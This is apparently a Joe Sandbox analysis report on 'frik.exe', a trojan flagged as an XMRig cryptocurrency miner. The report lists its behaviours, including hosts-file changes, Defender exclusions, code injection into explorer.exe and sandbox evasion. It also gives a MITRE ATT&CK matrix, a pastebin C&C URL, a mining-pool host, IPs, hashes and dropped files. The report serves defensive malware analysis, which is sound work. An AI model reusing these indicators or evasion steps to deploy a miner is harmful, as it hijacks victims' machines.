      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

      Lowering of HIPS / PFW / Operating System Security Settings

      barindex
      Modifies the hosts file
      Source: C:\Users\user\Desktop\frik.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: explorer.exe, 0000002B.00000002.3825856662.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000002B.00000003.1520788558.0000000000D60000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: procexp.exe

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity InformationAcquire InfrastructureValid Accounts11
      Windows Management Instrumentation      		11
      Windows Service      		11
      Windows Service      		1
      Masquerading      		OS Credential Dumping321
      Security Software Discovery      		Remote Services1
      Archive Collected Data      		1
      Web Service      		Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault Accounts1
      Service Execution      		1
      DLL Side-Loading      		311
      Process Injection      		1
      File and Directory Permissions Modification      		LSASS Memory1
      Process Discovery      		Remote Desktop ProtocolData from Removable Media11
      Encrypted Channel      		Exfiltration Over BluetoothNetwork Denial of Service
      Email AddressesDNS ServerDomain Accounts1
      Exploitation for Client Execution      		Logon Script (Windows)1
      DLL Side-Loading      		1
      Disable or Modify Tools      		Security Account Manager131
      Virtualization/Sandbox Evasion      		SMB/Windows Admin SharesData from Network Shared Drive1
      Ingress Tool Transfer      		Automated ExfiltrationData Encrypted for Impact
      Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook131
      Virtualization/Sandbox Evasion      		NTDS1
      Application Window Discovery      		Distributed Component Object ModelInput Capture2
      Non-Application Layer Protocol      		Traffic DuplicationData Destruction
      Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script311
      Process Injection      		LSA Secrets1
      Remote System Discovery      		SSHKeylogging3
      Application Layer Protocol      		Scheduled TransferData Encrypted for Impact
      Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
      Obfuscated Files or Information      		Cached Domain Credentials13
      System Information Discovery      		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
      DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
      DLL Side-Loading      		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
      Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
      File Deletion      		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet
      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1528951 Sample: frik.exe Startdate: 08/10/2024 Architecture: WINDOWS Score: 100 56 pastebin.com 2->56 58 pool.hashvault.pro 2->58 64 Multi AV Scanner detection for submitted file 2->64 66 Yara detected Xmrig cryptocurrency miner 2->66 68 Sigma detected: Stop EventLog 2->68 72 2 other signatures 2->72 8 Chrome.exe 1 2->8         started        12 frik.exe 1 1 2->12         started        signatures3 70 Connects to a pastebin service (likely for C&C) 56->70 process4 file5 50 C:\Windows\Temp\lhaqmlexwhjs.sys, PE32+ 8->50 dropped 74 Multi AV Scanner detection for dropped file 8->74 76 Injects code into the Windows Explorer (explorer.exe) 8->76 78 Modifies the context of a thread in another process (thread injection) 8->78 84 2 other signatures 8->84 14 explorer.exe 8->14         started        18 powershell.exe 8->18         started        20 cmd.exe 8->20         started        28 6 other processes 8->28 52 C:\ProgramData\Chrome.exe, PE32+ 12->52 dropped 54 C:\Windows\System32\drivers\etc\hosts, ASCII 12->54 dropped 80 Modifies the hosts file 12->80 82 Adds a directory exclusion to Windows Defender 12->82 22 powershell.exe 23 12->22         started        24 cmd.exe 1 12->24         started        26 sc.exe 1 12->26         started        30 8 other processes 12->30 signatures6 process7 dnsIp8 60 pastebin.com 104.20.3.235, 443, 49785 CLOUDFLARENETUS United States 14->60 62 pool.hashvault.pro 95.179.241.203, 443, 49778 AS-CHOOPAUS Netherlands 14->62 86 System process connects to network (likely due to code injection or exploit) 14->86 88 Query firmware table information (likely to detect VMs) 14->88 90 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 14->90 32 conhost.exe 18->32         started        44 2 other processes 20->44 92 Loading BitLocker PowerShell Module 22->92 34 conhost.exe 22->34         started        36 conhost.exe 24->36         started        38 wusa.exe 24->38         started        40 conhost.exe 26->40         started        46 5 other processes 28->46 42 conhost.exe 30->42         started        48 7 other processes 30->48 signatures9 process10

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      frik.exe76%ReversingLabsWin32.Trojan.Generic

      Dropped Files

      SourceDetectionScannerLabelLink
      C:\ProgramData\Chrome.exe76%ReversingLabsWin32.Trojan.Generic
      C:\Windows\Temp\lhaqmlexwhjs.sys5%ReversingLabs

      Unpacked PE Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      ⊘No Antivirus matches

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      s-part-0017.t-0009.t-msedge.net
      		13.107.246.45
      		truefalse
        		unknown
        pool.hashvault.pro
        		95.179.241.203
        		truetrue
          		unknown
          pastebin.com
          		104.20.3.235
          		truetrue
            		unknown

            Contacted URLs

            NameMaliciousAntivirus DetectionReputation
            https://pastebin.com/raw/FBXiGyZ9true
              		unknown

              URLs from Memory and Binaries

              NameSourceMaliciousAntivirus DetectionReputation
              https://www.kaspersky.ru/downloads/free-virus-removal-toolfrik.exe, 00000000.00000003.1400546339.00000172D6DE0000.00000004.00000001.00020000.00000000.sdmp, Chrome.exe, 0000001A.00000003.1451435960.000001DFF7950000.00000004.00000001.00020000.00000000.sdmpfalse
                		unknown
                https://pastebin.com/raw/FBXiGyZ9Taskmgr.exeexplorer.exe, 0000002B.00000003.1453948864.0000000000CE0000.00000004.00000020.00020000.00000000.sdmpfalse
                  		unknown
                  https://pastebin.com/raw/FBXiGyZ9--cinit-stealth-targets=Taskmgr.exeexplorer.exe, 0000002B.00000002.3825856662.0000000000CC5000.00000004.00000020.00020000.00000000.sdmpfalse
                    		unknown
                    https://www.drweb.ru/frik.exe, 00000000.00000003.1400546339.00000172D6DE0000.00000004.00000001.00020000.00000000.sdmp, Chrome.exe, 0000001A.00000003.1451435960.000001DFF7950000.00000004.00000001.00020000.00000000.sdmpfalse
                      		unknown

                      World Map of Contacted IPs

                      • No. of IPs < 25%
                      • 25% < No. of IPs < 50%
                      • 50% < No. of IPs < 75%
                      • 75% < No. of IPs

                      Public IPs

                      IPDomainCountryFlagASNASN NameMalicious
                      95.179.241.203
                      		pool.hashvault.proNetherlands
                      		20473AS-CHOOPAUStrue
                      104.20.3.235
                      		pastebin.comUnited States
                      		13335CLOUDFLARENETUStrue

                      General Information

                      Joe Sandbox version:41.0.0 Charoite
                      Analysis ID:1528951
                      Start date and time:2024-10-08 14:01:18 +02:00
                      Joe Sandbox product:CloudBasic
                      Overall analysis duration:0h 9m 30s
                      Hypervisor based Inspection enabled:false
                      Report type:full
                      Cookbook file name:default.jbs
                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                      Number of analysed new started processes analysed:48
                      Number of new started drivers analysed:0
                      Number of existing processes analysed:0
                      Number of existing drivers analysed:0
                      Number of injected processes analysed:0
                      Technologies:
                      • HCA enabled
                      • EGA enabled
                      • AMSI enabled
                      Analysis Mode:default
                      Analysis stop reason:Timeout
                      Sample name:frik.exe
                      Detection:MAL
                      Classification:mal100.troj.adwa.expl.evad.mine.winEXE@63/13@2/2
                      EGA Information:
                      • Successful, ratio: 33.3%
                      HCA Information:Failed
                      Cookbook Comments:
                      • Found application associated with file extension: .exe
                      • Override analysis time to 240000 for current running targets taking high CPU consumption

                      Warnings

                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
                      • Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
                      • Execution Graph export aborted for target Chrome.exe, PID 7976 because it is empty
                      • Execution Graph export aborted for target frik.exe, PID 7912 because it is empty
                      • Not all processes where analyzed, report is missing behavior information
                      • Report size exceeded maximum capacity and may have missing behavior information.
                      • Report size getting too big, too many NtCreateKey calls found.
                      • Report size getting too big, too many NtOpenKeyEx calls found.
                      • Report size getting too big, too many NtQueryValueKey calls found.
                      • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                      • VT rate limit hit for: frik.exe

                      Simulations

                      Behavior and APIs

                      TimeTypeDescription
                      08:02:20API Interceptor1x Sleep call for process: frik.exe modified
                      08:02:23API Interceptor38x Sleep call for process: powershell.exe modified

                      Joe Sandbox View / Context

                      IPs

                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      95.179.241.203C5Lg2JSPlD.exeGet hashmaliciousSilentXMRMiner, XmrigBrowse
                        PT54FFSL7ET46RASB.exeGet hashmaliciousLummaC, PureLog Stealer, Xmrig, zgRATBrowse
                          file.exeGet hashmaliciousXmrigBrowse
                            66dd2c2d3b88f_opera.exeGet hashmaliciousXmrigBrowse
                              gutpOKDunr.exeGet hashmaliciousXmrigBrowse
                                SecuriteInfo.com.FileRepMalware.3253.21057.exeGet hashmaliciousXmrigBrowse
                                  sc7Qi5VdE1.exeGet hashmaliciousXmrigBrowse
                                    II.exeGet hashmaliciousXmrigBrowse
                                      E5r67vtBtc6.exeGet hashmaliciousXmrigBrowse
                                        Miner-XMR2.exeGet hashmaliciousXmrigBrowse
                                          104.20.3.235sostener.vbsGet hashmaliciousNjratBrowse
                                          • pastebin.com/raw/V9y5Q5vv
                                          SX8OLQP63C.exeGet hashmaliciousVjW0rm, AsyncRAT, RATDispenserBrowse
                                          • pastebin.com/raw/V9y5Q5vv
                                          sostener.vbsGet hashmaliciousRemcosBrowse
                                          • pastebin.com/raw/V9y5Q5vv
                                          New Voicemail Invoice 64746w .jsGet hashmaliciousWSHRATBrowse
                                          • pastebin.com/raw/NsQ5qTHr
                                          Invoice-883973938.jsGet hashmaliciousWSHRATBrowse
                                          • pastebin.com/raw/NsQ5qTHr
                                          2024 12_59_31 a.m..jsGet hashmaliciousWSHRATBrowse
                                          • pastebin.com/raw/NsQ5qTHr
                                          PendingInvoiceBankDetails.JS.jsGet hashmaliciousWSHRATBrowse
                                          • pastebin.com/raw/NsQ5qTHr

                                          Domains

                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                          pool.hashvault.proGoogle Chrome.exeGet hashmaliciousXmrigBrowse
                                          • 45.76.89.70
                                          e7WMhx18XN.exeGet hashmaliciousSilentXMRMiner, XmrigBrowse
                                          • 45.76.89.70
                                          GcqJPBLD2Q.exeGet hashmaliciousBitCoin Miner, SilentXMRMiner, UACMe, XmrigBrowse
                                          • 45.76.89.70
                                          C5Lg2JSPlD.exeGet hashmaliciousSilentXMRMiner, XmrigBrowse
                                          • 95.179.241.203
                                          file.exeGet hashmaliciousRDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, XmrigBrowse
                                          • 45.76.89.70
                                          file.exeGet hashmaliciousXmrigBrowse
                                          • 45.76.89.70
                                          PT54FFSL7ET46RASB.exeGet hashmaliciousLummaC Stealer, PureLog Stealer, Xmrig, zgRATBrowse
                                          • 142.202.242.43
                                          PT54FFSL7ET46RASB.exeGet hashmaliciousLummaC, PureLog Stealer, Xmrig, zgRATBrowse
                                          • 95.179.241.203
                                          o9OIGsDt4m.exeGet hashmaliciousXmrigBrowse
                                          • 95.179.241.203
                                          file.exeGet hashmaliciousXmrigBrowse
                                          • 95.179.241.203
                                          s-part-0017.t-0009.t-msedge.netWindows Defender.exeGet hashmaliciousXWormBrowse
                                          • 13.107.246.45
                                          Message_2551600.emlGet hashmaliciousUnknownBrowse
                                          • 13.107.246.45
                                          Oilmax Systems Updated.xlsGet hashmaliciousUnknownBrowse
                                          • 13.107.246.45
                                          SWIFT 103 202410071519130850 071024.pdf.vbsGet hashmaliciousRemcosBrowse
                                          • 13.107.246.45
                                          Lk9rbSoFqa.exeGet hashmaliciousSmokeLoaderBrowse
                                          • 13.107.246.45
                                          po 1105670313_pdf.vbsGet hashmaliciousUnknownBrowse
                                          • 13.107.246.45
                                          20fUAMt5dL.exeGet hashmaliciousLummaC, Stealc, VidarBrowse
                                          • 13.107.246.45
                                          https://url.us.m.mimecastprotect.com/s/ilkSCZ6mm3hDOA2KCjhRFBSqQQ?domain=google.chGet hashmaliciousUnknownBrowse
                                          • 13.107.246.45
                                          Qi517dNlNe.exeGet hashmaliciousStealcBrowse
                                          • 13.107.246.45
                                          SteamCleanz Marlborough Limited.xlsxGet hashmaliciousUnknownBrowse
                                          • 13.107.246.45
                                          pastebin.comGoogle Chrome.exeGet hashmaliciousXmrigBrowse
                                          • 172.67.19.24
                                          SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exeGet hashmaliciousUnknownBrowse
                                          • 104.20.4.235
                                          SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exeGet hashmaliciousUnknownBrowse
                                          • 172.67.19.24
                                          SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exeGet hashmaliciousUnknownBrowse
                                          • 172.67.19.24
                                          SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exeGet hashmaliciousUnknownBrowse
                                          • 172.67.19.24
                                          Quotation request YN2024-10-07pdf.vbsGet hashmaliciousRemcosBrowse
                                          • 104.20.4.235
                                          Urgent Purchase Order (P.O.) No.477764107102024.vbsGet hashmaliciousRemcosBrowse
                                          • 172.67.19.24
                                          e4L9TXRBhB.exeGet hashmaliciousXWormBrowse
                                          • 172.67.19.24
                                          CI7IM149dR.exeGet hashmaliciousXWormBrowse
                                          • 104.20.3.235
                                          Confirm Me.exeGet hashmaliciousSTRRATBrowse
                                          • 104.20.3.235

                                          ASNs

                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                          AS-CHOOPAUSGoogle Chrome.exeGet hashmaliciousXmrigBrowse
                                          • 45.76.89.70
                                          SecuriteInfo.com.PUA.Tool.InstSrv.3.16098.13705.exeGet hashmaliciousUnknownBrowse
                                          • 45.76.78.62
                                          SecuriteInfo.com.PUA.Tool.InstSrv.3.16098.13705.exeGet hashmaliciousUnknownBrowse
                                          • 45.76.78.62
                                          na.elfGet hashmaliciousUnknownBrowse
                                          • 45.32.242.21
                                          e7WMhx18XN.exeGet hashmaliciousSilentXMRMiner, XmrigBrowse
                                          • 45.76.89.70
                                          GcqJPBLD2Q.exeGet hashmaliciousBitCoin Miner, SilentXMRMiner, UACMe, XmrigBrowse
                                          • 45.76.89.70
                                          C5Lg2JSPlD.exeGet hashmaliciousSilentXMRMiner, XmrigBrowse
                                          • 95.179.241.203
                                          na.elfGet hashmaliciousMiraiBrowse
                                          • 66.42.126.39
                                          z3hir.x86.elfGet hashmaliciousMiraiBrowse
                                          • 44.172.145.8
                                          arm7-20241006-0950.elfGet hashmaliciousUnknownBrowse
                                          • 108.61.212.64
                                          CLOUDFLARENETUSGoogle Chrome.exeGet hashmaliciousXmrigBrowse
                                          • 172.67.19.24
                                          FIR-069114.pdfGet hashmaliciousHTMLPhisherBrowse
                                          • 104.17.25.14
                                          phish_alert_sp2_2.0.0.0.emlGet hashmaliciousPhisherBrowse
                                          • 104.17.25.14
                                          http://us-east-1.oortech.comGet hashmaliciousUnknownBrowse
                                          • 1.1.1.1
                                          TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exeGet hashmaliciousMassLogger RAT, Snake Keylogger, VIP KeyloggerBrowse
                                          • 188.114.97.3
                                          https://u9313450.ct.sendgrid.net/ls/click?upn=u001.ZfA-2BqTl2mXIVteOCc-2BANg3DC2QYjSoauaoyveU6MGzQ5VY-2FjA-2F-2FRincDy1KlklBXiPJP_QABV8lal1FXq8md0G3-2FIRFNEx2OV-2FLWSv5ByAZvXcaLdzn8wfCvTlDds0ovRZhRFzHNfaxKr2UfovDpEFdLigcTlhUu24CyUOQvOCn6w-2BHb3x6-2BV4Gc9geo2lLTncL6JUMk6T71-2BqjLFsmgG-2BXpvetiYOby06i5CliURFDYqQTT1C2IqhXHNpvN85ZEXfc5YBJaPCdYG7GCx3syxYrFYTqrHhY55-2BpbwTxDCwDN1-2BlowHglPUt5r1G9-2FvJEFg-2F5ssADCqEBOqtEhmmm5GgEypOrZiDwmybFJCcbqY1CFgUEEhAhZH7kmvwleWNlpfoBdGet hashmaliciousUnknownBrowse
                                          • 104.17.246.203
                                          PURCHASED ORDER OF ENG091.exeGet hashmaliciousFormBookBrowse
                                          • 104.21.93.17
                                          http://nbxvavlbbnks0ockyfxgnbxva.feedbackfusion.site/4nbXVA123415bxwz821wfgqkoqbno9030GRUYZVSMVMDWDTG236348/3210Y21Get hashmaliciousUnknownBrowse
                                          • 104.22.51.98
                                          file.exeGet hashmaliciousLummaCBrowse
                                          • 104.21.53.8
                                          Siparis PO# DT-TE-160924R0 _323282-_563028621286 pdf .exeGet hashmaliciousSnake KeyloggerBrowse
                                          • 188.114.97.3

                                          JA3 Fingerprints

                                          ⊘No context

                                          Dropped Files

                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                          C:\Windows\Temp\lhaqmlexwhjs.sysGoogle Chrome.exeGet hashmaliciousXmrigBrowse
                                            e7WMhx18XN.exeGet hashmaliciousSilentXMRMiner, XmrigBrowse
                                              GcqJPBLD2Q.exeGet hashmaliciousBitCoin Miner, SilentXMRMiner, UACMe, XmrigBrowse
                                                C5Lg2JSPlD.exeGet hashmaliciousSilentXMRMiner, XmrigBrowse
                                                  TwrhjEKqxk.exeGet hashmaliciousXmrigBrowse
                                                    aA45th2ixY.exeGet hashmaliciousXmrigBrowse
                                                      1mqzOM6eok.exeGet hashmaliciousXmrigBrowse
                                                        updater.exeGet hashmaliciousXmrigBrowse
                                                          7QiAmg58Jk.exeGet hashmaliciousMetasploit, Meterpreter, XmrigBrowse
                                                            LnK0dS8jcA.exeGet hashmaliciousXmrigBrowse

                                                              Created / dropped Files

                                                              C:\ProgramData\Chrome.exe

                                                              Download File
                                                              Process:C:\Users\user\Desktop\frik.exe
                                                              File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                              Category:dropped
                                                              Size (bytes):5288736
                                                              Entropy (8bit):6.538032311597454
                                                              Encrypted:false
                                                              SSDEEP:98304:yGp6tj9L5rremSnrC7ag91f3dOuyUPpSJawwSDJiRRiy5CevO+OGLUA:J6N96ut9xwUPpSDwMiRsKhhpX
                                                              MD5:1A67A432E7AB0BCD2189F3F4142F2AE4
                                                              SHA1:168307B08E5C7A740D7DFCAA4BE93E02F80E3FB9
                                                              SHA-256:D19E4B7894FE7E6190D942C5718BB61B95B0FFD7380CB056891508CA6D163432
                                                              SHA-512:F849EA7BA3BD6865935065D542247A9256C0CCC669F9F57639E44C374C4AA3B03FF4A33F956F6027CB5AA97069EC5B9EB943C1D57034CC7D9821F52F44FFDE9B
                                                              Malicious:true
                                                              Antivirus:
                                                              • Antivirus: ReversingLabs, Detection: 76%
                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...!O.g.........."...........O.....@..........@..............................Q...........`.....................................................<.....P..)....P.......P. )....P.x...............................(.......8...............x............................text.............................. ..`.rdata...&.......(..................@..@.data....O.......O.................@....pdata........P......XP.............@..@.00cfg........P......ZP.............@..@.tls..........P......\P.............@....rsrc....)....P..*...^P.............@..@.reloc..x.....P.......P.............@..B........................................................................................................................................................................................................................................................................................................

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):64
                                                              Entropy (8bit):1.1940658735648508
                                                              Encrypted:false
                                                              SSDEEP:3:NlllulVmdtZ:NllUM
                                                              MD5:013016A37665E1E37F0A3576A8EC8324
                                                              SHA1:260F55EC88E3C4D384658F3C18C7FDEF202E47DD
                                                              SHA-256:20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
                                                              SHA-512:99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
                                                              Malicious:false
                                                              Preview:@...e................................................@..........

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1a0uqz2c.ikb.psm1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bt1q2vem.2ih.ps1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
